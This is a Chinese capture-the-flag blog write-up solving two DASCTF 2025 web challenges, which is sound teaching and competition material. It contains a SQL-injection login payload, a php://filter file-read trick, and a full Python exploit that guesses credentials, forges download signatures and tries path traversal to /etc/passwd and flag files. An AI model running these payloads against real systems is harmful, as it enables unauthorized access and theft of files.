DASCTF 2025下半年赛-Web部分WriteUp

DASCTF 2025下半年赛-Web部分WriteUp

lzz0403

我们是冠军!
img

SecretPhotoGallery

用户名:admin
密码:-1' union select 1,2,3 --+
绕过登录进入

然后查看源码发现注释1,应该是jwt密钥 GALLERY2024SECRET

img

然后得到admin访问 eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoiYWRtaW4iLCJyb2xlIjoiYWRtaW4iLCJpYXQiOjE3NjQ5OTIyNTR9.bCHvNXksavEel3wGMknzge7Erwp0PySoVx_UpLQnSKs

img

利用base64 filter发现被ban,使用

php://filter/read=convert.iconv.utf8.utf16/resource=flag.php

得到flag

img

devweb

Gemini 3 pro一把梭哈

信息收集

首先访问题目链接,发现是一个基于 Vite 构建的前端应用。

通过查看页面源代码或网络请求,我们下载了主 JS 文件 assets/index-BgDOi0T5.js 进行分析。

关键发现

  1. RSA 公钥与登录逻辑: 在 JS 文件中发现了硬编码的 RSA 公钥。登录逻辑是将密码使用 RSA 加密后发送到后端。
// JS 中发现的公钥(格式化后)
-----BEGIN PUBLIC KEY-----
MIGeMA0GCSqGSIb3DQEBAQUAA4GMADCBiAKBgGyAKgwgFtRvud51H9otkcAxKh/8/iIlj3WlPJ0RL1pDtRvyMu5/edP84Mp9FqnZNCXKi1042pd4Y2Bf9QT0/z1i6KPiZ8zT3XNTtPOqIHO5aVaOfAl8lr52AurMZVpXwEUS2hh+Q/AN4/SV9AZPCgrUXk619aaw0Md9MNvn3w0JAgMBAAE=
-----END PUBLIC KEY-----
  1. 路由与敏感接口: 通过搜索 dashboarddownload 等关键字,在 JS 中发现了一个文件下载功能的组件定义:
const Fd = {
    data() {
        return {
            fileList: [{ name: "app.jmx" }, { name: "index.html" }]
        }
    },
    methods: {
        downloadFile(t) {
            // 关键逻辑:下载请求带有 sign 参数
            window.location.href = `/download?file=${t.name}&sign=6f742c2e79030435b7edc1d79b8678f6`
        }
    }
}

漏洞利用

步骤 1:弱口令登录(非必须但有助于理解)

编写脚本使用 RSA 公钥加密密码,尝试常用弱口令。发现 admin / 123456 可以成功登录,服务器返回 302 跳转到 /dashboard。 虽然访问 /dashboard 返回 404,但我们在 JS 中发现的下载接口 /download 不需要登录态(或者我们已经获得了 Session,但其实这题的核心在于签名绕过)。

步骤 2:获取并分析 app.jmx

JS 代码中泄露了一个合法的文件名和签名组合:

  • File: app.jmx
  • Sign: 6f742c2e79030435b7edc1d79b8678f6

我们直接访问 http://target/download?file=app.jmx&sign=6f742c2e79030435b7edc1d79b8678f6 下载该文件。

打开 app.jmx (JMeter 测试计划文件),在其中发现了一段 Groovy 脚本,揭示了签名的生成算法:

<?xml version='1.0' encoding='UTF-8'?>
<jmeterTestPlan version="1.2" properties="5.0" jmeter="5.0">
    <hashTree>
        <TestPlan guiclass="TestPlanGui" testclass="TestPlan" testname="Download Test with Parameters" enabled="true">
            <stringProp name="TestPlan.functional_mode">false</stringProp>
            <boolProp name="TestPlan.serialize_threadgroups">false</boolProp>
            <elementProp name="TestPlan.user_defined_variables" elementType="Arguments" guiclass="ArgumentsPanel" testclass="Arguments" testname="User Defined Variables" enabled="true">
                <collectionProp name="Arguments.arguments">
                    <elementProp name="" elementType="Argument" guiclass="HTTPArgumentPanel" testclass="Argument" testname="mingWen" enabled="true">
                        <stringProp name="Argument.name">mingWen</stringProp>
                        <stringProp name="Argument.value">test</stringProp>
                        <stringProp name="Argument.metadata">=</stringProp>
                    </elementProp>
                    <elementProp name="" elementType="Argument" guiclass="HTTPArgumentPanel" testclass="Argument" testname="salt" enabled="true">
                        <stringProp name="Argument.name">salt</stringProp>
                        <stringProp name="Argument.value">f9bc855c9df15ba7602945fb939deefc</stringProp>
                        <stringProp name="Argument.metadata">=</stringProp>
                    </elementProp>
                </collectionProp>
            </elementProp>
            <stringProp name="TestPlan.comments_or_notes"/>
            <boolProp name="TestPlan.serialize_threadgroups">true</boolProp>
        </TestPlan>
        <hashTree>
            <ThreadGroup guiclass="ThreadGroupGui" testclass="ThreadGroup" testname="User Group" enabled="true">
                <stringProp name="ThreadGroup.on_sample_error">continue</stringProp>
                <elementProp name="ThreadGroup.main_controller" elementType="LoopController" guiclass="LoopControlPanel" testclass="LoopController" testname="Loop Controller" enabled="true">
                    <boolProp name="LoopController.continue_forever">false</boolProp>
                    <intProp name="LoopController.loops">1</intProp>
                </elementProp>
                <stringProp name="ThreadGroup.num_threads">1</stringProp>
                <stringProp name="ThreadGroup.ramp_time">1</stringProp>
                <longProp name="ThreadGroup.start_time">0</longProp>
                <longProp name="ThreadGroup.end_time">0</longProp>
                <boolProp name="ThreadGroup.scheduler">false</boolProp>
                <stringProp name="ThreadGroup.duration"></stringProp>
                <stringProp name="ThreadGroup.delay"></stringProp>
                <boolProp name="ThreadGroup.same_user_on_next_iteration">true</boolProp>
            </ThreadGroup>
            <hashTree>
                <JSR223PreProcessor guiclass="JSR223Panel" testclass="JSR223PreProcessor" testname="Calculate Sign" enabled="true">
                    <stringProp name="JSR223PreProcessor.language">groovy</stringProp>
                    <stringProp name="JSR223PreProcessor.parameters">import org.apache.commons.codec.digest.DigestUtils;</stringProp>
                    <stringProp name="JSR223PreProcessor.reset_vars">false</stringProp>
                    <stringProp name="JSR223PreProcessor.clear_stack">false</stringProp>
                    <stringProp name="JSR223PreProcessor.script">
                        def mingWen = vars.get('mingWen');
                        def firstMi = DigestUtils.md5Hex(mingWen);
                        def jieStr = firstMi.substring(5, 16);
                        def salt = vars.get('salt');
                        def newStr = firstMi + jieStr + salt;
                        def sign = DigestUtils.md5Hex(newStr);
                        vars.put('sign', sign);
                    </stringProp>
                </JSR223PreProcessor>
                <hashTree/>
                <HTTPSamplerProxy guiclass="HttpTestSampleGui" testclass="HTTPSamplerProxy" testname="Download File" enabled="true">
                    <boolProp name="HTTPSampler.postBodyRaw">false</boolProp>
                    <stringProp name="Comment"/>
                    <elementProp name="HTTPsampler.Arguments" elementType="Arguments" guiclass="HTTPArgumentsPanel" testclass="Arguments" testname="User Defined Variables" enabled="true">
                        <collectionProp name="Arguments.arguments">
                            <elementProp name="" elementType="Argument" guiclass="HTTPArgumentPanel" testclass="Argument" testname="file" enabled="true">
                                <stringProp name="Argument.name">file</stringProp>
                                <stringProp name="Argument.value">test</stringProp>
                                <stringProp name="Argument.metadata">=</stringProp>
                            </elementProp>
                            <elementProp name="" elementType="Argument" guiclass="HTTPArgumentPanel" testclass="Argument" testname="sign" enabled="true">
                                <stringProp name="Argument.name">sign</stringProp>
                                <stringProp name="Argument.value">${sign}</stringProp>
                                <stringProp name="Argument.metadata">=</stringProp>
                            </elementProp>
                        </collectionProp>
                    </elementProp>
                    <stringProp name="HTTPSampler.domain">localhost</stringProp>
                    <stringProp name="HTTPSampler.port">8080</stringProp>
                    <stringProp name="HTTPSampler.protocol">http</stringProp>
                    <stringProp name="HTTPSampler.contentEncoding">UTF-8</stringProp>
                    <stringProp name="HTTPSampler.path">/download</stringProp>
                    <stringProp name="HTTPSampler.method">GET</stringProp>
                    <boolProp name="HTTPSampler.follow_redirects">true</boolProp>
                    <boolProp name="HTTPSampler.auto_redirects">false</boolProp>
                    <boolProp name="HTTPSampler.use_keepalive">true</boolProp>
                    <boolProp name="HTTPSampler.DO_MULTIPART_POST">false</boolProp>
                    <stringProp name="HTTPSampler.body_data"/>
                    <boolProp name="HTTPSampler.bypass_proxy">false</boolProp>
                    <stringProp name="HTTPSampler.proxy_host"/>
                    <stringProp name="HTTPSampler.proxy_port"/>
                    <stringProp name="HTTPSampler.proxy_username"/>
                    <stringProp name="HTTPSampler.proxy_password"/>
                    <stringProp name="HTTPSampler.implementation">HttpClient4</stringProp>
                </HTTPSamplerProxy>
                <hashTree/>
            </hashTree>
        </hashTree>
    </hashTree>
</jmeterTestPlan>

步骤 3:重构签名算法与任意文件读取

根据上述逻辑,我们可以编写 Python 脚本来生成任意文件名的签名。

签名算法 (Python 实现):

import hashlib

def calculate_sign(filename):
    salt = "f9bc855c9df15ba7602945fb939deefc"
    
    # 1. 计算文件名的 MD5
    first_mi = hashlib.md5(filename.encode('utf-8')).hexdigest()
    
    # 2. 截取子串 (对应 Java 的 substring(5, 16))
    # Python 切片是 [start:end],所以是 [5:16]
    jie_str = first_mi[5:16]
    
    # 3. 拼接:MD5 + 子串 + 盐
    new_str = first_mi + jie_str + salt
    
    # 4. 最终签名
    sign = hashlib.md5(new_str.encode('utf-8')).hexdigest()
    return sign

步骤 4:获取 Flag

利用签名生成脚本,我们尝试目录穿越读取 Flag。

尝试 Payload: ../../flag

  1. 计算 ../../flag 的签名。
  2. 发送请求: /download?file=../../flag&sign=YOUR_CALCULATED_SIGN

响应内容:

DASCTF{21a8d433-4689-4e8e-9818-9ae50d48243a}}

img

Gemini 3 pro给的exp

import requests
import base64
from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_v1_5
from urllib.parse import quote

# 加载公钥
with open('public.pem', 'r') as f:
    key_data = f.read()
    public_key = RSA.importKey(key_data)
    cipher = PKCS1_v1_5.new(public_key)

def encrypt_password(password):
    # RSA 加密
    ciphertext = cipher.encrypt(password.encode('utf-8'))
    # 转 Base64
    return base64.b64encode(ciphertext).decode('utf-8')

def try_login(username, password_plaintext):
    url = 'http://75c3b11c-475d-4cb4-844e-c544862d54ca.node5.buuoj.cn:81/login'
    encrypted_pass = encrypt_password(password_plaintext)
    
    # 构造 payload
    # 注意 requests 的 data 参数如果是字典,会自动 urlencode
    data = {
        'username': username,
        'password': encrypted_pass
    }
    
    try:
        response = requests.post(url, data=data, allow_redirects=False)
        location = response.headers.get('Location', 'No Location')
        print(f"User: {username}, Pass: {password_plaintext} -> Status: {response.status_code}, Loc: {location}")
        if response.status_code != 200 and response.status_code != 302:
             print(f"Response: {response.text[:200]}")
        if "flag" in response.text or "DASCTF" in response.text:
            print(f"POSSIBLE FLAG FOUND: {response.text}")
        return response
    except Exception as e:
        print(f"Error: {e}")

# 测试用例
credentials = [
    ('admin', 'admin'),
    ('admin', '123456'),
    ('root', 'root'),
    ('guest', 'guest'),
    ('test', 'test')
]

print("Testing common credentials...")
for u, p in credentials:
    try_login(u, p)

print("\n--- Exploiting ---")
# 创建 session 保持 cookie
s = requests.Session()

url_login = 'http://75c3b11c-475d-4cb4-844e-c544862d54ca.node5.buuoj.cn:81/login'
password_plaintext = '123456'
encrypted_pass = encrypt_password(password_plaintext)
data = {
    'username': 'admin',
    'password': encrypted_pass
}

# 登录
response = s.post(url_login, data=data, allow_redirects=False)
print(f"Login Status: {response.status_code}")
print(f"Location: {response.headers.get('Location')}")
print(f"Cookies: {s.cookies.get_dict()}")

# 如果有 Location,提取并访问
if 'Location' in response.headers:
    # Location 返回的是 http://...:80/... 我们需要改成 :81
    # 或者直接提取路径
    loc = response.headers['Location']
    # 修正端口问题,如果 Location 里端口丢了或者不对
    if ':81' not in loc and 'buuoj.cn' in loc:
         loc = loc.replace('buuoj.cn', 'buuoj.cn:81')
    
    print(f"Accessing: {loc}")
    dashboard_response = s.get(loc)
    print(f"Dashboard Status: {dashboard_response.status_code}")
    print(f"Dashboard Content Preview: {dashboard_response.text[:500]}")
    
    if "flag" in dashboard_response.text or "DASCTF" in dashboard_response.text:
        print(f"FLAG FOUND IN DASHBOARD: {dashboard_response.text}")
    
import hashlib

def calculate_sign(filename):
    salt = "f9bc855c9df15ba7602945fb939deefc"
    
    # firstMi = md5(filename)
    first_mi = hashlib.md5(filename.encode('utf-8')).hexdigest()
    
    # jieStr = firstMi.substring(5, 16)
    # Java substring(5, 16) -> indices 5 to 15
    jie_str = first_mi[5:16]
    
    # newStr = firstMi + jieStr + salt
    new_str = first_mi + jie_str + salt
    
    # sign = md5(newStr)
    sign = hashlib.md5(new_str.encode('utf-8')).hexdigest()
    
    return sign

# 验证 app.jmx 的签名
expected_sign = "6f742c2e79030435b7edc1d79b8678f6"
calculated_sign = calculate_sign("app.jmx")
print(f"\n--- Sign Verification ---")
print(f"File: app.jmx")
print(f"Expected:   {expected_sign}")
print(f"Calculated: {calculated_sign}")

if expected_sign == calculated_sign:
    print("Sign algorithm verified!")
else:
    print("Sign algorithm mismatch! Check logic.")

def download_file(filename):
    print(f"\nAttempting to download {filename}...")
    sign = calculate_sign(filename)
    download_url = 'http://75c3b11c-475d-4cb4-844e-c544862d54ca.node5.buuoj.cn:81/download'
    params = {
        'file': filename,
        'sign': sign
    }
    try:
        # 使用 session
        file_resp = s.get(download_url, params=params)
        print(f"Download Status: {file_resp.status_code}")
        if file_resp.status_code == 200:
            print(f"Content Preview:\n{file_resp.text[:500]}")
            if "DASCTF" in file_resp.text or "flag{" in file_resp.text:
                print(f"FLAG FOUND: {file_resp.text}")
            return True
        else:
            print(f"Download failed: {file_resp.text}")
            return False
    except Exception as e:
        print(f"Download error: {e}")
        return False

# 尝试下载 flag
if expected_sign == calculated_sign:
    targets = [
        "flag",
        "/flag",
        "../flag",
        "../../flag",
        "../../../flag",
        "../../../../flag",
        "../../../../../../flag",
        "/etc/passwd",
        "c:/windows/win.ini" # 如果是 Windows
    ]
    
    for t in targets:
        if download_file(t):
            break
  • Title: DASCTF 2025下半年赛-Web部分WriteUp
  • Author: lzz0403
  • Created at : 2025-12-08 00:00:00
  • Updated at : 2025-12-31 10:31:49
  • Link: https://www.cnup.top/2025/12/08/DASCTF 2025下半年赛-Web部分WriteUp/
  • License: This work is licensed under CC BY-NC-SA 4.0.
On this page
DASCTF 2025下半年赛-Web部分WriteUp